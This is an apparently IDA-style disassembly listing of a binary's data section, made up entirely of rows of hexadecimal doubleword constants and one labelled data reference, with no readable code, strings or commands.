		dd 0D521D0C1h, 9EDE3022h, 0B2245250h, 0D1C8C548h, 0F9407EE4h
		dd 30AF00CFh, 0B20E7AC0h, 3F390BC3h, 0ABA803C7h, 90CA5456h
		dd 0C05E7D50h, 0EDC439C8h, 6C266813h, 8F164C42h, 0CA698419h
		dd 4D019DDDh, 32F82090h, 7FECC607h, 20E92F68h, 8874BA14h
		dd 98C460ACh, 351F716Bh, 0B352C80Ah, 901E086Dh,	59297519h
		dd 0CE5E470h, 63CAA1A4h, 6D3853C8h, 2CA05458h, 0CE8CC504h
		dd 0B088E3FFh, 3E64988Eh, 0D8C91887h, 62A4EF24h, 0C4813534h
		dd 0FAAD4EA8h, 61C1E98Eh, 76741116h, 0AC8B260Ch, 80B1E60Bh
		dd 27ACA778h, 738904Ch,	96638F7Eh, 15E95159h, 9E04A2Fh
		dd 19BE25C5h, 34602AA0h, 0AC662655h, 1EA79318h,	492DDE90h
		dd 4C0072D4h, 0B3CF5165h, 16D1A906h, 0B0C0C036h, 0FEEA0BBCh
		dd 0F880773Eh, 0B03A7237h, 0DD4CAC77h, 6FE080BCh, 30882563h
		dd 1738C2ECh, 61128FF9h, 16FA2630h, 0FC5C04F0h,	623C0E5Eh
		dd 5E112B24h, 484C6A0Ch, 0BAAC058Ch, 0F28880A1h, 0DBF02767h
		dd 28B81D49h, 0FD04CF94h, 54D38814h, 3F89B080h,	50C4B879h
		dd 2A8472h, 6D337460h, 0A287FE5Ah, 127C3700h, 5B91F084h
		dd 7EBA0585h, 3C883E1h,	0EA746608h, 77CBA000h, 0ABF0484Bh
		dd 11522076h, 2CBBCD00h, 53065951h, 0C8D730CAh,	0AC6AFE18h
		dd 0C8FB5B30h, 9AC48184h, 8C6F04E4h, 89DEFFD3h,	4CE02110h
		dd 26404108h, 430300F1h, 2DAB9ED6h, 0D8A134FEh,	0AAA0CB06h
		dd 4A04785Eh, 7D54687h,	0F4816087h, 1B7F776Ch, 5E98583Bh
		dd 850028E7h, 83E9E845h, 7A6B840h, 80CE5C41h, 0FFC8B384h
		dd 88C02888h, 585804B5h, 957C121Ch, 0AFC494Ch, 9D4CF8D0h
		dd 0E4507018h, 38901A60h, 35746C98h, 0F4202090h, 665F0B77h
		dd 24A05D2Ch, 99C1582h,	2E21C39h, 0A6CAE5C5h, 0FFBC6026h
		dd 59800087h
		dd 0E2045217h, 0C46E9167h, 0AA27E138h, 55DC027Ah, 8C032E47h
		dd 438445Ch, 1087A61Fh,	0B06660A0h, 3F09255h, 13575648h
		dd 0EAE0A82Fh, 0B50FC783h, 5B84372h, 0B41E3121h, 0DCF8C0Bh
		dd 0D05CD1C8h, 0BC5450FEh, 8A6230E7h, 6BB18758h, 0F07428C5h
		dd 0FC0858D4h, 91580023h, 7E80C943h, 26CB893Fh,	0FA14409Ch
		dd 0C2370098h, 2D74B38Fh, 0B11FF6E1h, 884A02C8h, 9440C367h
		dd 5B1EFA1Eh, 40DFEE38h, 0E0A8A61Bh, 60D8C81Bh,	0CC5468AEh
		dd 8E84BEAh, 0D30014B0h, 8663E778h, 0A02715DBh,	0B082C02Ch
		dd 72ECFACFh, 0D035260Ch, 33EBEB4h, 3A16730Fh, 0ACBF9821h
		dd 0BC14AACAh, 67A4B0C1h, 1033DBE6h, 95E36804h,	4EB8CA38h
		dd 4A39D480h, 0CB4C0BD3h, 20EA7818h, 923B845Eh,	0CC0FBAF5h
		dd 0A921298Ch, 2B490CCh, 636D0435h, 0B78F2966h,	230D0008h
		dd 0F7CAB911h, 4CCCA90Fh, 24589429h, 0FA29785h,	0D31292A0h
		dd 581F08A0h, 54506662h, 0E43D600Eh, 3FFB0112h,	345B175Ch
		dd 0C800896Ch, 5D01A8DFh, 0A408F6B4h, 0E598D7F0h, 57887018h
		dd 0D04B1C90h, 0B5ACE830h, 98489A0Fh, 378E7204h, 788A784h
		dd 40984A24h, 95885056h, 4878BB6Ch, 1FE143FFh, 16208DE2h
		dd 32439F5Ah, 6853BAA0h, 216D6804h, 8C751080h, 0DDFF24D4h
		dd 20F46464h, 94766068h, 0C94F1FA0h, 0FCD85690h, 0A9038516h
		dd 84FE9400h, 0F8210828h, 7934F669h, 0B68F0E63h, 5F20FD62h
		dd 43ED5DAAh, 81D124h, 0A97810CBh, 1A137F38h, 78C2B2CAh
		dd 55E400D7h, 1C3719E5h, 8208DEEAh, 0FB3B664Fh,	89B62441h
		dd 0B00751C8h, 69884E84h, 0A894F9E0h, 36FA06B0h, 887AB892h
		dd 4080C43Eh, 0FD915029h, 32DD03FDh, 0AC75CA33h, 2810FEA9h
		dd 0C28C0C8h, 942CAE2Ah, 0C05A5B0h, 5BE88076h, 2835884Fh
		dd 0BC0458A5h, 0A90C5C11h, 784CCF50h, 67F50670h, 298025Ah
		dd 5FF2CC5Eh, 49E08424h, 0C116A237h, 0D007F72Fh, 0EDC57821h
		dd 0F3084004h, 0D4DC00C4h, 624527CAh, 0A0409892h, 2480EB4Ah
		dd 74AC5867h, 4F092442h, 0C30A3A8h, 696AE487h, 0D84C4050h
		dd 17BC2468h, 10C71814h, 18265155h, 1D008394h, 0ED78399h
		dd 0C82907E5h, 0D0B806B1h, 10DC0C9Dh, 4F5A4409h, 0CA2C18D9h
		dd 57370C6h, 83CF802Ah,	550801F2h, 93359F88h, 0BC942528h
		dd 404158A0h, 0E20F74BFh, 243B6F52h, 3AC03AF4h,	85C56Ah
		dd 0D4BFEBBEh, 0AC86745Bh, 0B89E41F2h, 477C000h, 1CFFF42h
		dd 8D1B6DD7h, 628CAE1Fh, 0D8C830ACh, 0F97B8819h, 1B316887h
		dd 10904BDFh, 6E50C0ACh, 18B0B1DCh, 0DDA82509h,	9D0E0C5h
		dd 3825FDCCh, 0A7E1C7CFh, 0AC4CB963h, 206D4B06h, 675BE7C0h
		dd 95EC63Ch, 70C852E1h,	121092E4h, 8086F668h, 542EB56Ch
		dd 0A2F78818h, 0B521199h, 8CAC76DEh, 269EF891h,	17A060A8h
		dd 0E4BDCD4Bh, 90DB000Bh, 4E268247h, 0D630CA12h, 3F29988Eh
		dd 0BA83011Bh, 0DEF23720h, 30A821B5h, 6585E28h,	4072CFD0h
		dd 0BF35407Fh, 0D4E74A64h, 0D8DCC07Ch, 0AC136F59h, 344098FDh
		dd 0CC76E273h, 0B6C83E3Fh, 3C5694C8h, 801E0512h, 0B34388F4h
		dd 0CB81D8DFh, 60085504h, 4F6D4DC8h, 0A8BC23B4h, 49C3B289h
		dd 48D031A8h, 60C5B07Ch, 2CE882ACh, 10AA2Eh, 817FE646h
		dd 898646Dh, 0FC127220h, 0EA53035Eh, 52C5FA1Dh,	0D8028BBh
		dd 730A75EFh, 0AC361E5Ah, 64402613h, 903ACE0Ch,	0FC270052h
		dd 5632B6E7h, 0BA25AC6Eh, 8F4CB98Eh, 58C492EEh,	5B14A3E8h
		dd 8F8CA090h, 291E89F8h, 6F60C988h, 0F40BE0BEh,	0B98C2428h
		dd 1DC40ADAh, 0A756484h, 6E4038B2h, 0B43E63Bh, 63CA8AA3h
		dd 34ADF022h, 653DE044h, 10ED800Dh, 510B5941h, 0B9A7C06h
		dd 2CC4CB43h, 0CCC0B412h, 665D26E5h, 707E2D54h,	333B3090h
		dd 16CD12D1h, 90000C4Ah, 0C057E78Ch, 65802FFh, 2342AC80h
		dd 85A60C8h, 7867B524h,	466EE0B0h, 0B1361C2Ah, 0EB698094h
		dd 6F0EC468h, 7DB8C09h,	56896F4h, 7716665Ch, 0C8AC3C31h
		dd 0C057A930h, 1E846B80h, 820881EEh, 75A2527Bh,	0FF0864D9h
		dd 0DE243821h, 798401D0h, 0E1673B04h, 0D02460FEh, 1CBBB901h
		dd 0AA1AC51h, 555AC889h, 0E70E3480h, 0F9002CDAh, 0FC8FCD77h
		dd 5D137967h, 32C03433h, 0DC59C75h, 0CA1680BAh,	4854A0B1h
		dd 0FF481018h, 7890AA09h, 76F994C3h, 40944D6Ch,	0CC526074h
		dd 0FBDBC00h, 0F1824A65h, 0A0CD749Fh, 0BAA6C288h, 4755E54h
		dd 283D44h, 63F07C0Ah, 436725C9h, 0F8A70480h, 871CFE57h
		dd 1D41561Eh, 0AA67CA04h, 882CC43Eh, 0EE6171F0h, 0F0ABEC10h
		dd 48B49ADAh, 63018890h, 58F0A945h, 20AD86A7h, 806FAC27h
		dd 9EBA0AF4h, 294F00B6h, 0C1B2BB46h, 0D10B7CB4h, 0A096878Eh
		dd 69F026E0h, 0F130B822h, 0B0D85010h, 21766300h, 0A5B761CCh
		dd 24CB0082h, 28F0B851h, 400062D4h, 0CA4A78D8h,	3ED17A53h
		dd 5ABE6DF2h, 0A218D509h, 844F8C01h, 0EC16D4CCh, 3BB07A60h
		dd 0F855B3h, 9ECA407Eh,	0D2D6DC4Bh, 297C60F1h, 7D710400h
		dd 0E75B980Fh, 316B4A17h, 806A6358h, 9C3C5F10h,	0A12991Ch
		dd 2706C232h, 358704C4h, 302CD042h, 0E7301662h,	6059101Eh
		dd 324EE51h, 4A754279h,	77F24406h, 0A62500F8h, 1E189E15h
		dd 738DAFFh, 70478FBEh,	620389C0h, 3843AE3Fh, 0D5CF03EAh
		dd 9806CB09h, 266E52C9h, 0E64ED3Eh, 0D3205120h,	0CE504FD0h
		dd 2C319630h, 1D042F26h
dword_4E414C	dd 1C05B9C9h, 4463D288h, 0C050D0E4h, 0E84898F0h, 0BBCA6908h
					; DATA XREF: ___:off_43A870o
		dd 88F02F02h, 0C5298213h, 4C05449h, 58F2FAACh, 168922Ch
		dd 67E202AFh, 9881E295h, 0DC0DE5E6h, 43008438h,	5B1B5807h
		dd 3A021704h, 0D85C05DFh, 0C3AB9503h, 52D78071h, 644846F8h
		dd 1F02EDCDh, 5925C0B2h, 1C05D738h, 0F06C84ACh,	0B04D160Ch
		dd 0F4605A44h, 0B4332369h, 0C3E44210h, 40C9D705h, 0A22DE03Ch
		dd 7C09E8A9h, 6A237882h, 2CC21D04h, 7108033Eh, 8B48D795h
		dd 6819EC44h, 0A158F45Eh, 3422A021h, 0D21E7C17h, 5866AC98h
		dd 0A89934B1h, 0E032B698h, 2B58E07Ah, 0AFB4BD30h, 0A12C20A4h
		dd 49080210h, 5DCDE8E8h, 56586C01h, 5B80C817h, 82885200h
		dd 3C879F3h, 0F15E0A38h, 5C20C87Fh, 526E0BAh, 0BC882D8Fh
		dd 9AA0004Fh, 3107C8FFh, 0C310A2B7h, 0A7AA05F5h, 36D21C0h
		dd 8A1EAC79h, 0B6D02916h, 30D84085h, 16907D57h,	1A62F5Dh
		dd 3ECD784h, 487C6842h,	4204E4Ch, 37BD284h, 6827C46Eh
		dd 0E800DD9Ch, 87564A79h, 282D491h, 0EB73F078h,	0EC541D09h
		dd 0E08C79C0h, 2A180407h, 0E2BD8FC8h, 0D8B02E44h, 237C5180h
		dd 3367956Dh, 8380F19h,	300C4151h, 0D10379D0h, 474E6D82h
		dd 3C16A083h, 9294A15Dh, 0F8DECC59h, 0E8A7545Ch, 34180036h
		dd 554160EEh, 0CD16A5F7h, 5F1CBE0Ah, 9011478Bh,	22C41CCh
		dd 0CA7D0B44h, 607812D7h, 0F827CF5Ah, 42A984C2h, 1F4F14Ch
		dd 1FEB26F3h, 2D183063h, 0D7C2B800h, 0C1FBDEFFh, 9804EED9h
		dd 0FC16300Eh, 0BAB01F11h, 6C100995h, 0B668B8B8h, 0C81693D4h
		dd 2AF10624h, 80292021h, 12BFFC52h, 2614C05h, 84A62120h
		dd 0EE487044h, 881906D5h, 7A7041A9h, 7BFF0004h,	20486FEDh
		dd 7730C821h, 884F5096h, 0D3144AC2h, 6BD807C8h,	0CD002405h
		dd 0A01BE1C6h, 0FDB02h,	3D135EC4h, 85D24474h, 0C5086801h
		dd 0AB4F664Ch, 78477D4h, 0A65112F0h, 0DCDAF20Fh, 430B2C5Ch
		dd 0CA80402Eh, 78446019h, 6B3213BBh, 0B90022B8h, 0BE2E8257h
		dd 9C6E2726h, 0CC8EE284h, 0C965C885h, 582D28h, 7318E22Dh
		dd 80040FCAh, 322FEDE5h, 626CA933h, 20586108h, 5004B476h
		dd 82612F88h, 48D0742Ch, 193222Fh, 0A259E1C0h, 5B022C33h
		dd 2C9F8854h, 9B429448h, 234B3202h, 40B3CA4Eh, 59F0EBh
		dd 22865F2h, 9B11FFD9h,	0CEB55428h, 0B870C80Eh,	52F0972h
		dd 1C803090h, 95217D92h, 0FC41F800h, 540051D7h,	98223BCAh
		dd 408491h, 6CF25F33h, 0C7AC2720h, 1E4D897h, 0E5C48131h
		dd 49A887CAh, 10EE9E4h,	0F829AA2Ah, 0D0F268C4h,	5B50A798h
		dd 20880600h, 3B7BC5Eh,	203C7875h, 0A8946A2Dh, 375F103Ch
		dd 4E49310Bh, 1D688CE4h, 92693008h, 59FCE248h, 9BE70888h
		dd 0C9693D07h, 84BAD6C0h, 92340073h, 87F39377h,	84B2B919h
		dd 3067DB3Ah, 1602A8CEh, 1988DE2Fh, 0B98E2058h,	75911870h
		dd 0C0C63918h, 11594169h, 662763A1h, 69485DFh, 0B407E416h
		dd 0BA8138B9h, 0C0EC27CDh, 45C8131Fh, 91904346h, 11A36E4Eh
		dd 0D069B2A1h, 0F825DB31h, 0FB649010h, 2A3F0049h, 2C8B61B0h
		dd 90043381h, 0DAEF894Eh, 4E0C4F0h, 87FC423Ah, 3124909Fh
		dd 9CA62954h, 0F10CC7F0h, 10361CF8h, 662131Fh, 0F2F4D87Eh
		dd 112AC441h, 26C0AC5Ch, 32D59AA9h, 709CD824h, 8CE4182Dh
		dd 60EC9AE6h, 6812195Ah, 2D7C9D16h, 8712A0A4h, 0CCC69DFh
		dd 5BFB0553h, 0FA66CD25h, 2C94FC00h, 30971D96h,	73E06C27h
		dd 0CB7CBCE0h, 0B2D05C01h, 29DDE66Bh, 860402Fh,	0DBF76D55h
		dd 9527912h, 751CB006h,	0CAF00968h, 0B4817FCBh,	40AFB267h
		dd 0EC4072C8h, 0EA0F5D01h, 0FF3E665Eh, 50071884h, 850CBCC0h
		dd 0B4A0D488h, 75E50102h, 51CA566Ch, 1EE83C3Fh,	8313CB23h
		dd 4C79B8A1h, 7888DB04h, 2460971Ah, 0BC145228h,	2E0718B2h
		dd 72266B31h, 104566C8h, 0B80C98ACh, 0E8535DF0h, 0E117F0Ah
		dd 2DAFD04Ch, 68C77B00h, 8300FF78h, 8A5154EEh, 7A7FB4h
		dd 0A7B66020h, 6DE831D0h, 0F6F44600h, 0D8101739h, 0D1AB2FECh
		dd 0B51F881h, 79707599h, 479E1208h, 71519C20h, 4024B45Bh
		dd 0E8FCEDFAh, 0E6505D00h, 92A82A9Fh, 9B443E84h, 6617B7BEh
		dd 9D7081B1h, 0C2775h, 81BFC7D4h, 2564011h, 66B29719h
		dd 0D080619Ch, 457B40Fh, 8B3C1D58h, 75D8E927h, 4F84022Eh
		dd 0DCC9C3D0h, 65E050D2h, 8097D444h, 0C34BEC60h, 0D5AA1EC1h
		dd 0A9AE09EDh, 609604E6h, 0C106CA86h, 0EF592CD8h, 0E4154254h
		dd 10283209h, 9D88AC60h, 275ADC00h, 0D94DABF9h,	6CB21648h
		dd 1A748C20h, 0E14CBC2Fh, 733F7352h, 33C100A0h,	0FE4A223h
		dd 80F890FEh, 60348708h, 5DD3891Eh, 0D007324h, 0CA1285C0h
		dd 4A08FF66h, 61C3039h,	0AD403059h, 0BEC42799h,	0CB439C40h
		dd 38FB87F2h, 0FC824B14h, 5924E14Eh, 68092C3Ch,	0D4405FFEh
		dd 0C9002B91h, 0BAB2C362h, 0C84F88Bh, 246E16B7h, 609E2790h
		dd 7AFD5902h, 5AA180D5h, 1FB7578h, 0A80D2284h, 0D074F880h
		dd 0F0F1232Ch, 1098B5DEh, 344BE571h, 4B511488h,	0DF04D878h
		dd 0CF201F61h, 0D6F834B0h, 1A4E0548h, 9171D2C8h, 7E5159A0h
		dd 0E96C2420h, 26DCA157h, 0EDD8B005h, 890D8B2Dh, 0BE507814h
		dd 3FACE294h, 6304985Ch, 0D484937Ch, 55C4B0E4h,	0F064E023h
		dd 91612C0h, 3078FC2Ah,	0FE653922h, 0E4B8A0BCh,	385C2672h
		dd 1C682CA4h, 87EA079h,	708044B8h, 8B308853h, 581D803Ch
		dd 38CC0052h, 8407E77Eh, 511EECC6h, 8744482Bh, 7CA8D2ACh
		dd 0D44E5A00h, 166509FCh, 0A0F0125Eh, 0DBCC0989h, 0B0385DB6h
		dd 0DDE0F471h, 0C283648h, 0C0FE99DFh, 9F482Bh, 0DEF47900h
		dd 884B2778h, 20E86251h, 0F109F344h, 0E8E0F067h, 0FBD22B0h
		dd 77AA08E1h, 25428381h, 68153066h, 18009A4Fh, 0FC8253D7h
		dd 27CB8ECh, 5B5110DBh,	0BCC66E55h, 0F756AA2Eh,	0BDDB8000h
		dd 56D3211h, 2B57C222h,	1C808129h, 7C5502AFh, 4884960h
		dd 0E080429Ch, 8A050240h, 7F06C892h, 0C5585A76h, 0F2F3A028h
		dd 2826605Ch, 9A47C7B0h, 87810D0Bh, 89BCC0C4h, 0AC744FEAh
		dd 28E29220h, 0AA93CA84h, 7FFDB8C1h, 2B361E8h, 67D270E3h
		dd 887ADC18h, 8BA820h, 0D06CBA5Eh, 0ACC04A99h, 0E87E5609h
		dd 7454C21Bh, 94DD8C88h, 671F4381h, 0FD00AACFh,	0C1B1F0DEh
		dd 3BAB10EAh, 0D10371E7h, 5C3FA3BFh, 8481A2C0h,	6CC3D208h
		dd 3D380073h, 542262B2h, 0BF096F02h, 828CAD4Bh,	40E9490h
		dd 0DC68885Eh, 591583A0h, 0CC698813h, 4000285Dh, 673A1A7Ah
		dd 0B82C48B8h, 2E44A501h, 807E5868h, 0F90AD2E8h, 1F27255Eh
		dd 92D4B363h, 50E41ACFh, 43023884h, 2618E5ACh, 88D4A878h
		dd 0F70917E1h, 87A0907Ah, 78279778h, 802498FBh,	8426024h
		dd 8A88F202h, 2176629Ch, 729CC8D4h, 250B2C29h, 20988087h
		dd 50BE2113h, 95BC1E49h, 0FE620802h, 1D42445Ch,	705885A6h
		dd 0F51E48A8h, 62B23CBCh, 0AC485710h, 0B56077CAh, 3094CFC9h
		dd 0AC4D042Eh, 90FA0C9h, 602200C5h, 0C528F87h, 7F41994Bh
		dd 620EA418h, 2C77EABh,	5CBD0458h, 18D424BCh, 54EF80B2h
		dd 26008378h, 176AB763h, 3587E1DEh, 0A3A80DF7h,	64A79EF4h
		dd 0AA511368h, 60385AB1h, 1090C486h, 0CC45B502h, 0C15132F4h
		dd 0A0652EA7h, 0CA0CEC28h, 33F8168Eh, 2054600h,	5A5236ADh
		dd 9A72B04Ch, 0F0200194h, 0F4AC2867h, 7470A4E8h, 1C81B82h
		dd 0CC0609BAh, 58B61992h
		dd 5D40791Eh, 84A7259h,	6A2D0022h, 2F426DB2h, 120552E6h
		dd 1B79CAA2h, 73E2AC41h, 4F4754Fh, 7AFF1837h, 77161174h
		dd 6889489Ch, 259CF08Ah, 0CC6491EDh, 2B60E2F8h,	4403EBB0h
		dd 0DC22B5D6h, 2C7CB773h, 5C905742h, 0D87E6734h, 37A8530Eh
		dd 4000AC95h, 0ECAE3173h, 14264A79h, 48893898h,	84D20062h
		dd 8411C120h, 44084C54h, 0A7D83003h, 3C55A04h, 8C57CAF8h
		dd 84C0F00Fh, 0B419060Dh, 0B54E7E10h, 0DD3BE410h, 0F4A23F6h
		dd 232E1089h, 2DA45D98h, 50BA8408h, 10F90ACh, 0E07F5D01h
		dd 206A22ABh, 0C70D1268h, 0C0653316h, 121CC1E0h, 0D118212Ch
		dd 408786E0h, 9BA25988h, 3E62B03Fh, 535A1898h, 5585E5A8h
		dd 1C60A872h, 0AC61134Ah, 0F768C2C0h, 1309D866h, 0E8C3B01Fh
		dd 0B875A938h, 44034B38h, 75E9CA4h, 3D70BD4Ah, 39750822h
		dd 4BA730F0h, 0BE747CC6h, 6F5AE600h, 641281C0h,	6A3500B8h
		dd 0AE8FF9FEh, 241E5066h, 1925CACFh, 0FEE4F764h, 744F1661h
		dd 0E4141771h, 0F7828C8h, 8B4994FEh, 0FADA0240h, 611D2B0Bh
		dd 0D07485A4h, 178A006Eh, 0FEC784C1h, 0D767E57h, 5EEDF400h
		dd 86682572h, 2F096E1h,	0B467EB79h, 28F14C8h, 0D81E6500h
		dd 1677320Fh, 5A709AF9h, 0D5401217h, 73188300h,	0E8BC02DDh
		dd 584689EAh, 0AC9C9897h, 8C0C51CFh, 0A0FD0F0h,	4FFACAD9h
		dd 1AADBACCh, 0AB808860h, 7C6CE8C9h, 0DBAC06D8h, 4F5BD089h
		dd 52CAE003h, 58700119h, 0BE5C9FA8h, 8E482081h,	7873C94Ah
		dd 2467C08Ch, 6198C074h, 62E3FA54h, 0FE509303h,	80CEC887h
		dd 0B8E87477h, 0A37835C4h, 920A480h, 0B4890A26h, 10FA2E0Ch
		dd 877A05A8h, 0B67DD0A1h, 3AA859D8h, 0AE0E0155h, 8DF1D675h
		dd 3587EC30h, 0AD58A12Ah, 7AFC7C08h, 8C24A94Fh,	0DE497002h
		dd 2A58F189h, 149697ECh, 32125573h, 0C4B27FB7h,	0E906C453h
		dd 1003A567h, 0BFB48F00h, 32CB8D47h, 12064FC5h,	67DCE04Ch
		dd 8CBD5024h, 1C75E06Eh, 0A5BF9AC8h, 953934A8h,	0D9CA0414h
		dd 0A0C9C764h, 9D88505Eh, 438C1454h, 85682302h,	60EE079Fh
		dd 5C6E7228h, 0F7E3C53h, 883A92C9h, 30A0B30Bh, 0F21696EDh
		dd 4D06260h, 9F02B41h, 9D9068BEh, 691E4451h, 31798744h
		dd 0EC8CC8Ch, 0C51CACA1h, 7000E57Fh, 96FBAB2h, 0D84B6C90h
		dd 5BB6B409h, 2FA510BCh, 16581E2Ah, 0F7315332h,	0A4C04B30h
		dd 91966ACAh, 1F586238h, 6E241061h, 4D310030h, 1E4E2728h
		dd 0B200F894h, 12EC25F4h, 4BCAFEC8h, 4DEC092Dh,	0AC0E3479h
		dd 3C4B7798h, 9C058BEh,	57B4C7E5h, 14957882h, 0FA282449h
		dd 0A7F80CF2h, 19CDF8C9h, 2BF0E00Ch, 0C805F993h, 0C4205120h
		dd 899496EBh, 0ED815C0Dh, 3FDB8848h, 2C21C004h,	66D64089h
		dd 20589A90h, 1900CDE0h, 9ED340A0h, 19173F8h, 6BB19A5Fh
		dd 0F0230175h, 5612BA1Eh, 0DCC40B66h, 0F045A4ECh, 2C1C172Fh
		dd 7C9EDF70h, 0C033750Ah, 2F0B880Bh, 5466E480h,	4B9FA8ECh
		dd 74445765h, 242C6E58h, 0B3000C67h, 19087471h,	0B68F0097h
		dd 0D43579AAh, 0ED005C2Ah, 0DBFFDF01h, 0FB5BD0h, 0D23E8451h
		dd 7FE1174Eh, 0C8201609h, 295CA037h, 1DC274E5h,	3D0D1880h
		dd 0BCF36F8Bh, 9FC8A022h, 0D45064E8h, 6509B775h, 4086AC06h
		dd 0C0F62Ch, 7FEFC5DFh,	67A8266Bh, 38709C4Fh, 3BFCA84h
		dd 0BE569761h, 0A6C1087Eh, 5B907459h, 7EEB9D5Ch, 0AE5A443Fh
		dd 0C2086CDDh, 1A42CA3h, 184CE52h, 0EE8EF135h, 4C561C6Ah
		dd 0C54BFE6Fh, 4ED48474h, 243E34A8h, 9E499FBh, 70D99050h
		dd 0E6430A40h, 0E881B5BFh, 80990C30h, 31C52C21h, 4BA6F845h
		dd 7098CAC1h, 0C404DB00h, 0C6D46155h, 40740B4Eh, 0E50038B7h
		dd 1EBC6BB2h, 123F9716h, 0BE2AE004h, 1891E71Eh,	0EB81C835h
		dd 0BA5C1B15h, 56AC040Ch, 9C8CE650h, 5B0440D4h,	13725526h
		dd 51102F18h, 72800F9h,	290D62Bh, 220088BAh, 0F076AA0Bh
		dd 0C03089ABh, 2869F228h, 7507F917h, 7452F58Eh,	0C7E78363h
		dd 0DC3398C2h, 3D48050h, 0DA8865E6h, 66B01B00h,	0E51A0DA1h
		dd 0BBF7508Fh, 0FB271AEh, 3A25BBC1h, 62CC0516h,	0D60841B6h
		dd 6FB3665Ah, 465580C2h, 2CCA26ECh, 85BD800Ch, 0CDC9B90Eh
		dd 0BC438800h, 7F5BD4A7h, 2F1526CFh, 87FD40D0h,	0F89881ACh
		dd 0C4058494h, 6481F489h, 0A5C862AEh, 57EC0F71h, 69E02103h
		dd 543DAC5Bh, 0BD5FF8C0h, 7C2320h, 19AF9030h, 0CA5D1A39h
		dd 0A877B927h, 0C9018C10h, 0FE7412F0h, 7B871CCh, 0D8025292h
		dd 405CB7FFh, 4004B4F8h, 0BA9ED609h, 2858FB2Dh,	3409003Ch
		dd 2AAA8417h, 0F14C65C8h, 884A0544h, 1080B990h,	2C67E164h
		dd 12CC2883h, 4E0D0CAh,	554A093Eh, 42E2A099h, 104454A4h
		dd 0F785C84h, 32939A03h, 0F46E1883h, 20E1B200h,	8F00E9BCh
		dd 0D92C8BA3h, 0A5AF257h, 0B76AC1Eh, 0E7610488h, 0C57CFC10h
		dd 3C32AD02h, 64747E60h, 250244FAh, 1443CCF5h, 1F8FA115h
		dd 66E7C0h, 845F7F1Dh, 34884BF2h, 0E8058B78h, 0F9B4EABh
		dd 480C7CC7h, 99E32633h, 573085B4h, 31445631h, 85B5AC14h
		dd 15FE5A39h, 0A83CC0C9h, 0BE8C024h, 1853AD2Ah,	51A4A809h
		dd 3F72808Ch, 0D0B74779h, 6164CA18h, 0E0C0D618h, 17062658h
		dd 609B1D84h, 46E5812Dh, 9F2090E0h, 83275C84h, 0C984CCE0h
		dd 20CC0048h, 7131F8Dh,	24902528h, 76DDB564h, 0CC0B0BDh
		dd 8C465A20h, 3602CC88h, 0F1082AC0h, 0C7F4E0C4h, 0C9AF8045h
		dd 2577F909h, 0E8B88EE1h, 0D34F004Bh, 6056404Eh, 76419101h
		dd 0FDA7ABE7h, 0B963E040h, 1660504h, 84F6882Ch,	1754E984h
		dd 0F4CC83EBh, 345F5FF5h, 222081A0h, 0DC560033h, 5FBA0190h
		dd 320BB51Ch, 6058606Eh, 14AC11CBh, 0FA6813F4h,	43B4A01Eh
		dd 0B04F0C01h, 0C762B27Ch, 0F8DFF7FCh, 8A2400AFh, 0D3320F67h
		dd 0AD483A16h, 0B2210180h, 0F4AC25C5h, 0CAD4057Fh, 8388900Eh
		dd 765AEF34h, 0C72C8FBCh, 59A5401Ch, 0C07C12DFh, 382F9CA1h
		dd 987D0598h, 0A4A09665h, 88A09620h, 9167EE6h, 69124C8h
		dd 0B08858F0h, 1E3F88BDh, 280A32C8h, 2D244605h,	78C02D9Eh
		dd 5E805F6Ch, 1882957Ch, 24002C4Fh, 0F5403A2h, 0DF102389h
		dd 0F30443A3h, 22316013h, 410CD84Ch, 2AA0A039h,	414CBCB0h
		dd 7407AA87h, 0DB0DC8ACh, 2938FCA8h, 0CACCC450h, 0F8BCAEh
		dd 58277B1Dh, 917C82FFh, 9881F22Ah, 70033E0h, 34A3BC2Eh
		dd 5FAC5628h, 6950C0C1h, 0E3F03DADh, 3F10F065h,	7937D0B9h
		dd 0D11B55C9h, 0A3F2B0h, 11FE9Eh, 0F6997A16h, 0C4A7BA61h
		dd 5E01FF78h, 0ACC03183h, 0CC219C27h, 0B4C25079h, 605623BEh
		dd 84428880h, 0A0B1FE87h, 0A9059EB8h, 651098ACh, 9DF066h
		dd 0A9A3A80Ch, 20ED00CFh, 8906CB2Bh, 0C003F33Fh, 0CC665BB9h
		dd 0D6A102B0h, 0CF268BABh, 0BA757C61h, 43F504C8h, 0B48788D4h
		dd 0BACBDC20h, 0F9F867h, 0FE23FA53h, 0DB287989h, 131BAB12h
		dd 34F63C00h, 167B8A03h, 0C86A6Eh, 75E252D8h, 0B6381005h
		dd 5C90BA56h, 49648B18h, 0A80852E8h, 84B010BDh,	0C1F78060h
		dd 4BB10407h, 0B2C47A7Eh, 0C4F478A1h, 0BA482F9Eh, 0FE5964C0h
		dd 0B94E104h, 88832787h, 9E685EF2h, 3AB21E38h, 6C440220h
		dd 7E4AEA90h, 0D9085854h, 11E30597h, 0B1A4F065h, 7EFD144h
		dd 0EB494689h, 0B01F107Fh, 7A01F2C7h, 0A687ED28h, 677A8098h
		dd 0E216055Ch, 0F8D44B04h, 0BCB23CF4h, 5968E1D0h, 9E9C3867h
		dd 0F01DFD0Ah, 71821107h
		dd 80A93E82h, 0EFFEECE4h, 0C99B3167h, 3E416030h, 77C0D820h
		dd 0E2FB0E53h, 88D8BCFCh, 4D00BE3Ch, 2BF95972h,	6DEC25h
		dd 2D105145h, 2E7B02E4h, 9D082701h, 5AA76819h, 3DE52C40h
		dd 0CA640A77h, 82908A51h, 0DEC33C08h, 243C287Ch, 4A098C60h
		dd 2600E071h, 3A61008Ah, 234D03ECh, 0A6602025h,	0BA5E5970h
		dd 9C073C9h, 772A0922h,	880D9C59h, 20117Fh, 0A11395Dh
		dd 0A7A85582h, 6E10BEB2h, 0D378A83Bh, 0C9917BEDh, 6CD08540h
		dd 57E9711Eh, 0DEB6CEh,	0BA31BE15h, 854E028Fh, 3892DD68h
		dd 0FEF810DEh, 7401BDACh, 7D3895B2h, 7FE048F8h,	626ED80h
		dd 0E3884F60h, 1E1E401Fh, 86065302h, 44C88095h,	609BB3F0h
		dd 0A851480Ch, 0B88BE716h, 0D0560E63h, 8C54E1A5h, 0A1BF1C40h
		dd 2D530779h, 2FA3D0h, 74B56C87h, 0F6226300h, 0B8030127h
		dd 0C3D94CFEh, 6EEB481Eh, 4FEE1294h, 0D18B7428h, 0F700C478h
		dd 7C42248Dh, 0DEAEB068h, 4F80FFD8h, 0F026DF74h, 270F2860h
		dd 0EA552Ch, 0DABBE36Bh, 0BFE513B8h, 8E88B048h,	84407582h
